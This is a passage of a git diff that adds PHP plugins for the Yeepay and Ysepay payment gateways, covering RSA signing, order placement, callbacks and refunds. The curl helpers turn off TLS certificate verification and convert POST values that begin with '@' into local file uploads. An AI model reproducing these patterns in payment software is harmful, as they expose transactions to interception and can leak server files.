getHeadersToSign($headers, $headersToSign) + { + $ret = array(); + foreach($headersToSign as &$header) { + $header = strtolower($header); + } + + foreach ($headers as $key => $value) { + if (!empty($value)) { + if (in_array(strtolower($key), $headersToSign) && $key != "Authorization") { + $ret[$key] = $value; + } + } + } + ksort($ret); + return $ret; + } + + //获取规范标头 + private static function getCanonicalHeaders($headers) + { + if (empty($headers)) return ''; + $str = ''; + foreach ($headers as $key => $value) { + $key = strtolower($key); + $value = trim($value); + $str .= strtolower($key) . ':' . trim($value) . "\n"; + } + $str = substr($str, 0, -1); + return $str; + } + + //商户私钥签名 + private function rsaPrivateSign($data, $digestAlg = 'SHA256') + { + $key = "-----BEGIN RSA PRIVATE KEY-----\n" . + wordwrap($this->secretKey, 64, "\n", true) . + "\n-----END RSA PRIVATE KEY-----"; + $privatekey = openssl_pkey_get_private($key); + if(!$privatekey){ + throw new Exception('签名失败,商户私钥错误'); + } + openssl_sign($data, $sign, $privatekey, $digestAlg); + $signToBase64 = self::base64_urlencode($sign); + $signToBase64 .= '$SHA256'; + return $signToBase64; + } + + //平台公钥验签 + private function rsaPublicVerify($data, $sign, $digestAlg = 'SHA256') + { + $key = "-----BEGIN PUBLIC KEY-----\n" . + wordwrap(self::$yopPublicKey, 64, "\n", true) . + "\n-----END PUBLIC KEY-----"; + $publickey = openssl_pkey_get_public($key); + if (!$publickey) { + throw new \Exception("invalid public key"); + } + $result = openssl_verify($data, self::base64_urldecode($sign), $publickey, $digestAlg); + return $result === 1; + } + + //商户私钥解密 + private function rsaPrivateDecrypt($data) + { + $key = "-----BEGIN RSA PRIVATE KEY-----\n" . + wordwrap($this->secretKey, 64, "\n", true) . + "\n-----END RSA PRIVATE KEY-----"; + $privatekey = openssl_pkey_get_private($key); + if(!$privatekey){ + throw new Exception('invalid private key'); + } + openssl_private_decrypt(self::base64_urldecode($data), $decrypted, $privatekey); + return $decrypted; + } + + private function curl($url, $postFields, $headers) + { + $uaString = "php/" . self::VERSION . "/" . PHP_OS . "/" . (array_key_exists('SERVER_SOFTWARE', $_SERVER) ? $_SERVER ['SERVER_SOFTWARE'] : "") . "/Zend Framework/" . zend_version() . "/" . PHP_VERSION . "/" . (array_key_exists('HTTP_ACCEPT_LANGUAGE', $_SERVER) ? $_SERVER['HTTP_ACCEPT_LANGUAGE'] : "") . "/"; + + $headerArray = array(); + foreach ($headers as $key => $value) { + $headerArray[] = $key . ": " . $value; + } + $headerArray[] = 'x-yop-sdk-langs: php'; + $headerArray[] = 'x-yop-sdk-version: '.self::VERSION; + + $ch = curl_init(); + curl_setopt($ch, CURLOPT_URL, $url); + curl_setopt($ch, CURLOPT_TIMEOUT, 10); + curl_setopt($ch, CURLOPT_FAILONERROR, false); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); + curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); + curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); + curl_setopt($ch, CURLOPT_HTTPHEADER, $headerArray); + curl_setopt($ch, CURLOPT_USERAGENT, $uaString); + + if (is_array($postFields) && 0 < count($postFields)) { + $postMultipart = false; + foreach ($postFields as &$value) { + if ($value instanceof \CURLFile) { + $postMultipart = true; + } elseif(substr($value, 0, 1) == '@' && class_exists('CURLFile')) { + $postMultipart = true; + $file = substr($value, 1); + if(file_exists($file)){ + $value = new \CURLFile($file); + } + } + } + curl_setopt($ch, CURLOPT_POST, true); + if($postMultipart){ + curl_setopt($ch, CURLOPT_POSTFIELDS, $postFields); + }else{ + curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($postFields)); + } + } + + $response = curl_exec($ch); + + if (curl_errno($ch) > 0) { + $errmsg = curl_error($ch); + curl_close($ch); + throw new \Exception($errmsg, 0); + } + $responseHeaders = curl_getinfo($ch, CURLINFO_CONTENT_TYPE); + if (!empty($responseHeaders) && substr_compare($responseHeaders, "application/octet-stream", 0, 16) == 0) { + $this->downRequest = true; + } + + curl_close($ch); + + return $response; + } + + private static function base64_urlencode($data, $use_padding = false) + { + $encoded = strtr(base64_encode($data), '+/', '-_'); + + return true === $use_padding ? $encoded : rtrim($encoded, '='); + } + + private static function base64_urldecode($data) + { + return base64_decode(strtr($data, '-_', '+/')); + } + + private static function uuid($namespace = '') + { + static $guid = ''; + $uid = uniqid("", true); + $data = $_SERVER['REQUEST_TIME']; + $hash = hash('ripemd128', $uid . $data); + + $guid = $namespace . + substr($uid, 0, 14) . + substr($uid, 15, 24) . + substr($hash, 0, 10) . + ''; + return $guid; + } +} \ No newline at end of file diff --git a/plugins/yeepay/yeepay_plugin.php b/plugins/yeepay/yeepay_plugin.php new file mode 100644 index 0000000..9b61e00 --- /dev/null +++ b/plugins/yeepay/yeepay_plugin.php @@ -0,0 +1,468 @@ + 'yeepay', //支付插件英文名称,需和目录名称一致,不能有重复 + 'showname' => '易宝支付', //支付插件显示名称 + 'author' => '易宝支付', //支付插件作者 + 'link' => 'https://www.yeepay.com/', //支付插件作者链接 + 'types' => ['alipay','wxpay','bank'], //支付插件支持的支付方式,可选的有alipay,qqpay,wxpay,bank + 'inputs' => [ //支付插件要求传入的参数以及参数显示名称,可选的有appid,appkey,appsecret,appurl,appmchid + 'appkey' => [ + 'name' => '应用标识', + 'type' => 'input', + 'note' => '', + ], + 'appsecret' => [ + 'name' => '商户私钥', + 'type' => 'textarea', + 'note' => '', + ], + 'appid' => [ + 'name' => '发起方商户编号', + 'type' => 'input', + 'note' => '标准商户则填写标准商户商编;平台商入驻商户,则填写平台商商编', + ], + 'appmchid' => [ + 'name' => '收款商户编号', + 'type' => 'input', + 'note' => '留空则与发起方商户编号一致', + ], + ], + 'select' => null, + 'note' => '密钥需要选RSA格式的', //支付密钥填写说明 + 'bindwxmp' => false, //是否支持绑定微信公众号 + 'bindwxa' => false, //是否支持绑定微信小程序 + ]; + + static public function submit(){ + global $siteurl, $channel, $order, $sitename; + + if($order['typename']=='alipay'){ + return ['type'=>'jump','url'=>'/pay/alipay/'.TRADE_NO.'/']; + }elseif($order['typename']=='wxpay'){ + if(checkwechat() && $channel['appwxmp']>0){ + return ['type'=>'jump','url'=>'/pay/wxjspay/'.TRADE_NO.'/']; + }elseif(checkmobile()){ + return ['type'=>'jump','url'=>'/pay/wxwappay/'.TRADE_NO.'/']; + }else{ + return ['type'=>'jump','url'=>'/pay/wxpay/'.TRADE_NO.'/']; + } + }elseif($order['typename']=='bank'){ + return ['type'=>'jump','url'=>'/pay/bank/'.TRADE_NO.'/']; + } + } + + static public function mapi(){ + global $siteurl, $channel, $order, $conf, $device, $mdevice, $method; + + if($method == 'applet'){ + return self::wxapppay(); + } + elseif($method == 'app'){ + if($order['typename']=='alipay'){ + return self::aliapppay(); + }else{ + return self::wxapppay(); + } + } + elseif($order['typename']=='alipay'){ + return self::alipay(); + }elseif($order['typename']=='wxpay'){ + if($mdevice=='wechat' && $channel['appwxmp']>0){ + return ['type'=>'jump','url'=>$siteurl.'pay/wxjspay/'.TRADE_NO.'/']; + }elseif($device=='mobile'){ + return self::wxwappay(); + }else{ + return self::wxpay(); + } + }elseif($order['typename']=='bank'){ + return self::bank(); + } + } + + //聚合支付托管下单 + static private function tutelage_pay($payWay, $payType, $return_type = false){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + require(PAY_ROOT.'inc/YopClient.php'); + + if($payType == 'ALIPAY'){ + $scene = 'OFFLINE'; + }else{ + $scene = 'ONLINE'; + } + $params = [ + 'parentMerchantNo' => $channel['appid'], + 'merchantNo' => empty($channel['appmchid'])?$channel['appid']:$channel['appmchid'], + 'orderId' => TRADE_NO, + 'orderAmount' => $order['realmoney'], + 'goodsName' => $ordername, + 'notifyUrl' => $conf['localurl'] . 'pay/notify/' . TRADE_NO . '/', + 'payWay' => $payWay, + 'channel' => $payType, + 'scene' => $scene, + 'userIp' => $clientip, + 'redirectUrl' => $siteurl.'pay/return/'.TRADE_NO.'/', + ]; + if($order['profits']){ + self::handleProfits($params); + } + + $client = new \Yeepay\YopClient($channel['appkey'], $channel['appsecret']); + + return \lib\Payment::lockPayData(TRADE_NO, function() use($client, $params, $return_type) { + $result = $client->post('/rest/v1.0/aggpay/tutelage/pre-pay', $params); + if($result['code'] == '00000'){ + return $return_type ? ['appId'=>$result['appId'],'miniProgramPath'=>$result['miniProgramPath'],'miniProgramOrgId'=>$result['miniProgramOrgId']] : $result['prePayTn']; + }else{ + throw new Exception('['.$result['code'].']'.$result['message']); + } + }); + } + + //聚合支付统一下单 + static private function pre_pay($payWay, $payType, $appId = null, $userId = null){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + require(PAY_ROOT.'inc/YopClient.php'); + + $params = [ + 'parentMerchantNo' => $channel['appid'], + 'merchantNo' => empty($channel['appmchid'])?$channel['appid']:$channel['appmchid'], + 'orderId' => TRADE_NO, + 'orderAmount' => $order['realmoney'], + 'goodsName' => $ordername, + 'notifyUrl' => $conf['localurl'] . 'pay/notify/' . TRADE_NO . '/', + 'redirectUrl' => $siteurl.'pay/return/'.TRADE_NO.'/', + 'payWay' => $payWay, + 'channel' => $payType, + 'scene' => 'ONLINE', + 'userIp' => $clientip, + ]; + if($appId && $userId){ + $params += [ + 'appId' => $appId, + 'userId' => $userId + ]; + } + if($order['profits']){ + self::handleProfits($params); + } + + $client = new \Yeepay\YopClient($channel['appkey'], $channel['appsecret']); + + return \lib\Payment::lockPayData(TRADE_NO, function() use($client, $params) { + $result = $client->post('/rest/v1.0/aggpay/pre-pay', $params); + if($result['code'] == '00000'){ + return $result['prePayTn']; + }else{ + throw new Exception('['.$result['code'].']'.$result['message']); + } + }); + } + + static private function handleProfits(&$params){ + global $order, $conf; + $psreceiver = \lib\ProfitSharing\CommUtil::getReceiver($order['profits']); + if($psreceiver){ + $psmoney = round(floor($order['realmoney'] * $psreceiver['rate']) / 100, 2); + $divideDetail = [[ + 'ledgerNo' => $psreceiver['account'], + 'amount' => $psmoney, + 'ledgerType' => 'MERCHANT2MERCHANT', + ]]; + $params['fundProcessType'] = 'REAL_TIME_DIVIDE'; + $params['divideDetail'] = json_encode($divideDetail); + $params['divideNotifyUrl'] = $conf['localurl'] . 'pay/dividenotify/' . TRADE_NO . '/'; + } + } + + //支付宝扫码支付 + static public function alipay(){ + try{ + $code_url = self::pre_pay('USER_SCAN', 'ALIPAY'); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'支付宝支付下单失败!'.$ex->getMessage()]; + } + + return ['type'=>'qrcode','page'=>'alipay_qrcode','url'=>$code_url]; + } + + //微信扫码支付 + static public function wxpay(){ + global $siteurl; + + $code_url = $siteurl.'pay/wxwappay/'.TRADE_NO.'/'; + /*try{ + $code_url = self::pre_pay('USER_SCAN', 'WECHAT'); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'微信支付下单失败!'.$ex->getMessage()]; + }*/ + + if (checkmobile()) { + return ['type'=>'qrcode','page'=>'wxpay_wap','url'=>$code_url]; + } else { + return ['type'=>'qrcode','page'=>'wxpay_qrcode','url'=>$code_url]; + } + } + + //微信公众号支付 + static public function wxjspay(){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + //①、获取用户openid + $wxinfo = \lib\Channel::getWeixin($channel['appwxmp']); + if(!$wxinfo) return ['type'=>'error','msg'=>'支付通道绑定的微信公众号不存在']; + try{ + $tools = new \WeChatPay\JsApiTool($wxinfo['appid'], $wxinfo['appsecret']); + $openid = $tools->GetOpenid(); + }catch(Exception $e){ + return ['type'=>'error','msg'=>$e->getMessage()]; + } + $blocks = checkBlockUser($openid, TRADE_NO); + if($blocks) return $blocks; + + //②、统一下单 + try{ + $payinfo = self::pre_pay('WECHAT_OFFIACCOUNT', 'WECHAT', $wxinfo['appid'], $openid); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'微信支付下单失败!'.$ex->getMessage()]; + } + + if($_GET['d']==1){ + $redirect_url='data.backurl'; + }else{ + $redirect_url='\'/pay/ok/'.TRADE_NO.'/\''; + } + return ['type'=>'page','page'=>'wxpay_jspay','data'=>['jsApiParameters'=>$payinfo, 'redirect_url'=>$redirect_url]]; + } + + //微信小程序支付 + static public function wxminipay(){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + $code = isset($_GET['code'])?trim($_GET['code']):exit('{"code":-1,"msg":"code不能为空"}'); + + //①、获取用户openid + $wxinfo = \lib\Channel::getWeixin($channel['appwxa']); + if(!$wxinfo)exit('{"code":-1,"msg":"支付通道绑定的微信小程序不存在"}'); + try{ + $tools = new \WeChatPay\JsApiTool($wxinfo['appid'], $wxinfo['appsecret']); + $openid = $tools->AppGetOpenid($code); + }catch(Exception $e){ + exit('{"code":-1,"msg":"'.$e->getMessage().'"}'); + } + $blocks = checkBlockUser($openid, TRADE_NO); + if($blocks)exit('{"code":-1,"msg":"'.$blocks['msg'].'"}'); + + //②、统一下单 + try{ + $payinfo = self::pre_pay('MINI_PROGRAM', 'WECHAT', $wxinfo['appid'], $openid); + }catch(Exception $ex){ + exit('{"code":-1,"msg":"'.$ex->getMessage().'"}'); + } + + exit(json_encode(['code'=>0, 'data'=>json_decode($payinfo, true)])); + } + + //微信手机支付 + static public function wxwappay(){ + try{ + $jump_url = self::tutelage_pay('H5_PAY', 'WECHAT'); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'微信支付下单失败!'.$ex->getMessage()]; + } + + if(checkwechat()){ + return ['type'=>'jump','url'=>$jump_url]; + }else{ + return ['type'=>'qrcode','page'=>'wxpay_h5','url'=>$jump_url]; + } + } + + //支付宝APP支付 + static public function aliapppay(){ + try{ + $code_url = self::tutelage_pay('SDK_PAY', 'ALIPAY'); + }catch(Exception $e){ + return ['type'=>'error','msg'=>$e->getMessage()]; + } + return ['type'=>'scheme','page'=>'alipay_qrcode','url'=>$code_url]; + } + + //微信APP支付 + static public function wxapppay(){ + try{ + $result = self::tutelage_pay('SDK_PAY', 'WECHAT'); + }catch(Exception $e){ + return ['type'=>'error','msg'=>$e->getMessage()]; + } + return ['type'=>'wxapp','data'=>['appId'=>$result['appId'], 'miniProgramId'=>$result['miniProgramOrgId'], 'path'=>$result['miniProgramPath']]]; + } + + //云闪付扫码支付 + static public function bank(){ + try{ + $code_url = self::pre_pay('USER_SCAN', 'UNIONPAY'); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'云闪付下单失败!'.$ex->getMessage()]; + } + + return ['type'=>'qrcode','page'=>'bank_qrcode','url'=>$code_url]; + } + + //异步回调 + static public function notify(){ + global $channel, $order; + + if(!$_POST['response']) return ['type'=>'html','data'=>'no data']; + + require(PAY_ROOT.'inc/YopClient.php'); + $client = new \Yeepay\YopClient($channel['appkey'], $channel['appsecret']); + try{ + $data = $client->notifyDecrypt($_POST['response']); + }catch(Exception $e){ + return ['type'=>'html','data'=>$e->getMessage()]; + } + + if($data) { + $out_trade_no = $data['orderId']; + $api_trade_no = $data['uniqueOrderNo']; + $total_amount = $data['orderAmount']; + $payerInfo = json_decode($data['payerInfo'], true); + $buyer = $payerInfo['userID']; + $bill_trade_no = $data['channelTrxId']; + + if ($data['status'] == 'SUCCESS') { + if($out_trade_no == TRADE_NO && round($total_amount,2)==round($order['realmoney'],2)){ + processNotify($order, $api_trade_no, $buyer, $bill_trade_no); + } + } + return ['type'=>'html','data'=>'SUCCESS']; + } + else { + //验证失败 + return ['type'=>'html','data'=>'FAIL']; + } + } + + //支付返回页面 + static public function return(){ + return ['type'=>'page','page'=>'return']; + } + + //退款 + static public function refund($order){ + global $channel, $clientip; + if(empty($order))exit(); + + require(PAY_ROOT.'inc/YopClient.php'); + + $params = [ + 'parentMerchantNo' => $channel['appid'], + 'merchantNo' => empty($channel['appmchid'])?$channel['appid']:$channel['appmchid'], + 'orderId' => $order['trade_no'], + 'refundRequestId' => $order['refund_no'] ?? $order['trade_no'], + 'refundAmount' => $order['refundmoney'] + ]; + + $client = new \Yeepay\YopClient($channel['appkey'], $channel['appsecret']); + + $result = $client->post('/rest/v1.0/trade/refund', $params); + + if($result['code'] == 'OPR00000'){ + return ['code'=>0, 'trade_no'=>$result['uniqueRefundNo'], 'refund_fee'=>$result['refundAmount']]; + }else{ + return ['code'=>-1, 'msg'=>'['.$result['code'].']'.$result['message']]; + } + } + + //异步回调 + static public function applynotify(){ + global $channel; + + if(!$_POST['response']) return ['type'=>'html','data'=>'no data']; + + require(PAY_ROOT.'inc/YopClient.php'); + $client = new \Yeepay\YopClient($channel['appkey'], $channel['appsecret']); + try{ + $data = $client->notifyDecrypt($_POST['response']); + }catch(Exception $e){ + return ['type'=>'html','data'=>$e->getMessage()]; + } + + if($data) { + $model = \lib\Applyments\CommUtil::getModel2($channel); + if($model) $model->notify($data); + + return ['type'=>'html','data'=>'SUCCESS']; + } + else { + //验证失败 + return ['type'=>'html','data'=>'FAIL']; + } + } + + //投诉通知 + static public function complainnotify(){ + global $channel; + + if(!$_POST['response']) return ['type'=>'html','data'=>'no data']; + + require(PAY_ROOT.'inc/YopClient.php'); + $client = new \Yeepay\YopClient($channel['appkey'], $channel['appsecret']); + try{ + $data = $client->notifyDecrypt($_POST['response']); + }catch(Exception $e){ + return ['type'=>'html','data'=>$e->getMessage()]; + } + + if($data) { + $model = \lib\Complain\CommUtil::getModel($channel); + if($model) $model->refreshNewInfo($data['complaintNo'], $data['actionType']); + + return ['type'=>'html','data'=>'SUCCESS']; + } + else { + //验证失败 + return ['type'=>'html','data'=>'FAIL']; + } + } + + //分账回调 + static public function dividenotify(){ + global $channel, $DB; + + if(!$_POST['response']) return ['type'=>'html','data'=>'no data']; + + require(PAY_ROOT.'inc/YopClient.php'); + $client = new \Yeepay\YopClient($channel['appkey'], $channel['appsecret']); + try{ + $data = $client->notifyDecrypt($_POST['response']); + }catch(Exception $e){ + return ['type'=>'html','data'=>$e->getMessage()]; + } + + if($data) { + $divide_trade_no = $data['divideRequestId']; + $out_trade_no = $data['orderId']; + $status = $data['divideStatus']; + $psorder = $DB->find('psorder', '*', ['trade_no'=>$out_trade_no]); + if($psorder){ + if($status == 'SUCCESS'){ + $DB->update('psorder', ['status'=>2,'settle_no'=>$divide_trade_no], ['id'=>$psorder['id']]); + }elseif($status == 'FAIL'){ + $DB->update('psorder', ['status'=>3,'result'=>$data['failReason']], ['id'=>$psorder['id']]); + } + } + + return ['type'=>'html','data'=>'SUCCESS']; + } + else { + //验证失败 + return ['type'=>'html','data'=>'FAIL']; + } + } +} \ No newline at end of file diff --git a/plugins/ysepay/cert/businessgate.cer b/plugins/ysepay/cert/businessgate.cer new file mode 100644 index 0000000..085d7b9 Binary files /dev/null and b/plugins/ysepay/cert/businessgate.cer differ diff --git a/plugins/ysepay/inc/YsepayClient.php b/plugins/ysepay/inc/YsepayClient.php new file mode 100644 index 0000000..cbc54b1 --- /dev/null +++ b/plugins/ysepay/inc/YsepayClient.php @@ -0,0 +1,246 @@ +partnerId = $partnerId; + $this->privateKeyPwd = $privateKeyPwd; + $this->businessgateCertPath = PAY_ROOT.'cert/businessgate.cer'; + $this->privateCertPath = PAY_ROOT.'cert/client.pfx'; + if(!file_exists($this->businessgateCertPath)){ + throw new \Exception('银盛公钥证书文件businessgate.cer不存在'); + } + if(!file_exists($this->privateCertPath)){ + throw new \Exception('商户私钥证书文件client.pfx不存在'); + } + } + + //扫码支付 + public function execute($method, $bizContent){ + $url = 'https://qrcode.ysepay.com/gateway.do'; + $params = [ + 'method' => $method, + 'partner_id' => $this->partnerId, + 'timestamp' => date("Y-m-d H:i:s"), + 'charset' => $this->charset, + 'sign_type' => $this->signType, + 'version' => '3.5' + ]; + if (!empty($this->notifyUrl)) { + $params["notify_url"] = $this->notifyUrl; + } + if (!empty($this->returnUrl)) { + $params["return_url"] = $this->returnUrl; + } + $params['biz_content'] = json_encode($bizContent, JSON_UNESCAPED_SLASHES|JSON_UNESCAPED_UNICODE); + $params['sign'] = $this->generateSign($params); + $raw = $this->curl($url, $params); + $response = new YsepayResponse($raw, $method); + $this->verifyResponse($response); + return $response; + } + + //页面跳转支付 + public function pageExecute($method, $bizParams){ + $url = 'https://openapi.ysepay.com/gateway.do'; + $params = [ + 'method' => $method, + 'partner_id' => $this->partnerId, + 'timestamp' => date("Y-m-d H:i:s"), + 'charset' => $this->charset, + 'sign_type' => $this->signType, + 'version' => '3.0' + ]; + if (!empty($this->notifyUrl)) { + $params["notify_url"] = $this->notifyUrl; + } + if (!empty($this->returnUrl)) { + $params["return_url"] = $this->returnUrl; + } + $params = array_merge($params, $bizParams); + $params['sign'] = $this->generateSign($params); + + $html = "
    "; + foreach ($params as $key => $value) { + if ($this->isEmpty($value)) { + continue; + } + $value = htmlentities($value, ENT_QUOTES | ENT_HTML5); + $html .= ""; + } + $html .= "
    "; + $html .= ""; + + return $html; + } + + //异步通知回调验签 + public function verify($params) + { + if (!$params || !isset($params['sign'])) { + return false; + } + $sign = $params['sign']; + $data = $this->getSignContent($params); + try { + return $this->rsaPubilcVerify($data, $sign); + } catch (\Exception $ex) { + return false; + } + } + + //验证返回内容签名 + private function verifyResponse(YsepayResponse $response) + { + $signData = $response->getSignData(); + $sign = $response->getSign(); + if ($this->isEmpty($signData) || $this->isEmpty($sign)) { + throw new \Exception('返回数据解析签名失败'); + } + $checkResult = $this->rsaPubilcVerify($signData, $sign); + if (!$checkResult) { + if (strpos($signData, '\/') > 0) { + $signData = str_replace('\/', '/', $signData); + $checkResult = $this->rsaPubilcVerify($signData, $sign); + } + if (!$checkResult) { + throw new \Exception('对返回数据使用银盛公钥验签失败'); + } + } + } + + private function generateSign($params){ + return $this->rsaPrivateSign($this->getSignContent($params)); + } + + private function getSignContent($params){ + ksort($params); + unset($params['sign']); + + $stringToBeSigned = ""; + foreach ($params as $k => $v) { + if($this->isEmpty($v) || substr($v, 0, 1) == '@') continue; + $stringToBeSigned .= "&{$k}={$v}"; + } + $stringToBeSigned = substr($stringToBeSigned, 1); + return $stringToBeSigned; + } + + private function isEmpty($value) + { + return $value === null || trim($value) === ''; + } + + //银盛公钥 + private function getPublicKey() + { + $file = file_get_contents($this->businessgateCertPath); + $cert = chunk_split(base64_encode($file), 64, "\n"); + $cert = "-----BEGIN CERTIFICATE-----\n" . $cert . "-----END CERTIFICATE-----\n"; + $res = openssl_pkey_get_public($cert); + if (!$res) { + throw new \Exception('从银盛公钥证书获取公钥失败'); + } + return $res; + } + + //商户私钥 + private function getPrivateKey() + { + $file = file_get_contents($this->privateCertPath); + if (!openssl_pkcs12_read($file, $cert, $this->privateKeyPwd)) { + throw new \Exception('商户私钥证书解析失败'); + } + return openssl_pkey_get_private($cert['pkey']); + } + + //私钥加签 + private function rsaPrivateSign($data) + { + $prikey = $this->getPrivateKey(); + $result = openssl_sign($data, $sign, $prikey); + if (!$result) throw new \Exception('sign error'); + return base64_encode($sign); + } + + //公钥验签 + public function rsaPubilcVerify($data, $sign) + { + $pubkey = $this->getPublicKey(); + $result = openssl_verify($data, base64_decode($sign), $pubkey); + return $result === 1; + } + + private function curl($url, $postFields = null) + { + $ch = curl_init(); + + curl_setopt($ch, CURLOPT_URL, $url); + curl_setopt($ch, CURLOPT_FAILONERROR, false); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); + curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); + curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); + + if (is_array($postFields) && 0 < count($postFields)) { + $postMultipart = false; + foreach ($postFields as &$value) { + if(substr($value, 0, 1) == '@' && class_exists('CURLFile')){ + $postMultipart = true; + $file = substr($value, 1); + if(file_exists($file)){ + $value = new \CURLFile($file); + } + } + } + curl_setopt($ch, CURLOPT_POST, true); + if($postMultipart){ + curl_setopt($ch, CURLOPT_POSTFIELDS, $postFields); + }else{ + curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($postFields)); + } + } + + $response = curl_exec($ch); + + if (curl_errno($ch) > 0) { + $errmsg = curl_error($ch); + curl_close($ch); + throw new \Exception($errmsg, 0); + } + + $httpStatusCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); + if ($httpStatusCode != 200) { + curl_close($ch); + throw new \Exception($response, $httpStatusCode); + } + + curl_close($ch); + + return $response; + } + +} \ No newline at end of file diff --git a/plugins/ysepay/inc/YsepayResponse.php b/plugins/ysepay/inc/YsepayResponse.php new file mode 100644 index 0000000..650089f --- /dev/null +++ b/plugins/ysepay/inc/YsepayResponse.php @@ -0,0 +1,149 @@ +raw = $raw; + $this->parsed = json_decode($raw, true); + if (!$this->parsed) { + $error = function_exists('json_last_error_msg') ? json_last_error_msg() : json_last_error(); + throw new \Exception('返回数据解析失败:'.$error); + } + $this->parseResponseData($apiName); + } + + /** + * 获取原始响应的被签名数据,用于验证签名. + * + * @param $apiName + */ + protected function parseResponseData($apiName) + { + $nodeName = str_replace(".", "_", $apiName) . self::RESPONSE_SUFFIX; + $nodeIndex = strpos($this->raw, $nodeName); + if (!$nodeIndex) { + throw new \Exception('Response data not found'); + } + $this->nodeName = $nodeName; + + $signDataStartIndex = $nodeIndex + strlen($nodeName) + 2; + $signIndex = strrpos($this->raw, '"'.static::SIGN_NODE.'"'); + + $signDataEndIndex = $signIndex - 1; + $indexLen = $signDataEndIndex - $signDataStartIndex; + if ($indexLen < 0) { + $signIndex = strrpos($this->raw, "}"); + $signDataEndIndex = $signIndex; + $indexLen = $signDataEndIndex - $signDataStartIndex; + } + + $this->signData = substr($this->raw, $signDataStartIndex, $indexLen); + } + + /** + * 获取待验签数据 + * + * @return string + */ + public function getSignData() + { + return $this->signData; + } + + /** + * 获取响应内的签名. + * + * @return string + */ + public function getSign() + { + if (isset($this->parsed[static::SIGN_NODE])) { + return $this->parsed[static::SIGN_NODE]; + } + return null; + } + + /** + * 获取响应内的数据. + * + * @param bool $assoc + * + * @return mixed|object + */ + public function getData($assoc = true) + { + if (!isset($this->parsed[$this->nodeName])){ + return null; + } + $result = $this->parsed[$this->nodeName]; + if ($assoc == false) { + $result = (object) ($result); + } + return $result; + } + + /** + * 判断响应是否成功. + * + * @return bool + */ + public function isSuccess() + { + if (!isset($this->parsed[$this->nodeName])){ + return false; + } + $data = $this->parsed[$this->nodeName]; + return isset($data['code']) && $data['code'] == '10000'; + } + + /** + * 获取原始响应. + * + * @return string + */ + public function getRaw() + { + return $this->raw; + } + +} diff --git a/plugins/ysepay/ysepay_plugin.php b/plugins/ysepay/ysepay_plugin.php new file mode 100644 index 0000000..e3a0d0c --- /dev/null +++ b/plugins/ysepay/ysepay_plugin.php @@ -0,0 +1,429 @@ + 'ysepay', //支付插件英文名称,需和目录名称一致,不能有重复 + 'showname' => '银盛支付', //支付插件显示名称 + 'author' => '银盛支付', //支付插件作者 + 'link' => 'https://www.ysepay.com/', //支付插件作者链接 + 'types' => ['alipay','qqpay','wxpay','bank'], //支付插件支持的支付方式,可选的有alipay,qqpay,wxpay,bank + 'inputs' => [ //支付插件要求传入的参数以及参数显示名称,可选的有appid,appkey,appsecret,appurl,appmchid + 'appid' => [ + 'name' => '服务商商户号', + 'type' => 'input', + 'note' => '', + ], + 'appkey' => [ + 'name' => '私钥证书密码', + 'type' => 'input', + 'note' => '', + ], + 'appmchid' => [ + 'name' => '收款商户号', + 'type' => 'input', + 'note' => '不填写则和服务商商户号相同', + ], + 'appurl' => [ + 'name' => '业务代码', + 'type' => 'input', + 'note' => '', + ], + ], + 'select_alipay' => [ + '1' => '扫码支付', + '2' => 'H5支付', + ], + 'select' => null, + 'note' => '只能使用RSA证书!需要将商户私钥证书client.pfx上传到 /plugins/ysepay/cert 文件夹内', //支付密钥填写说明 + 'bindwxmp' => true, //是否支持绑定微信公众号 + 'bindwxa' => true, //是否支持绑定微信小程序 + ]; + + static public function submit(){ + global $siteurl, $channel, $order, $sitename; + + if($order['typename']=='alipay'){ + return ['type'=>'jump','url'=>'/pay/alipay/'.TRADE_NO.'/']; + }elseif($order['typename']=='wxpay'){ + if(checkwechat() && $channel['appwxmp']>0){ + return ['type'=>'jump','url'=>'/pay/wxjspay/'.TRADE_NO.'/?d=1']; + }elseif(checkmobile() && ($channel['appwxa']>0)){ + return ['type'=>'jump','url'=>'/pay/wxwappay/'.TRADE_NO.'/']; + }else{ + return ['type'=>'jump','url'=>'/pay/wxpay/'.TRADE_NO.'/']; + } + }elseif($order['typename']=='qqpay'){ + return ['type'=>'jump','url'=>'/pay/qqpay/'.TRADE_NO.'/']; + }elseif($order['typename']=='bank'){ + return ['type'=>'jump','url'=>'/pay/bank/'.TRADE_NO.'/']; + } + } + + static public function mapi(){ + global $siteurl, $channel, $order, $conf, $device, $mdevice; + + if($order['typename']=='alipay'){ + return self::alipay(); + }elseif($order['typename']=='wxpay'){ + if($mdevice=='wechat' && $channel['appwxmp']>0){ + return ['type'=>'jump','url'=>$siteurl.'pay/wxjspay/'.TRADE_NO.'/?d=1']; + }elseif($device=='mobile' && ($channel['appwxa']>0)){ + return self::wxwappay(); + }else{ + return self::wxpay(); + } + }elseif($order['typename']=='qqpay'){ + return self::qqpay(); + }elseif($order['typename']=='bank'){ + return self::bank(); + } + } + + //扫码支付 + static private function qrcode($bank_type){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + require(PAY_ROOT."inc/YsepayClient.php"); + + $seller_id = $channel['appmchid']?$channel['appmchid']:$channel['appid']; + $method = 'ysepay.online.qrcodepay'; + $params = [ + 'out_trade_no' => TRADE_NO, + 'shopdate' => date("Ymd"), + 'subject' => $ordername, + 'total_amount' => $order['realmoney'], + 'currency' => 'CNY', + 'seller_id' => $seller_id, + 'timeout_express' => '7d', + 'business_code' => $channel['appurl'], + 'bank_type' => $bank_type, + 'submer_ip' => $clientip, + ]; + + $client = new YsepayClient($channel['appid'], $channel['appkey']); + $client->notifyUrl = $conf['localurl'] . 'pay/notify/' . 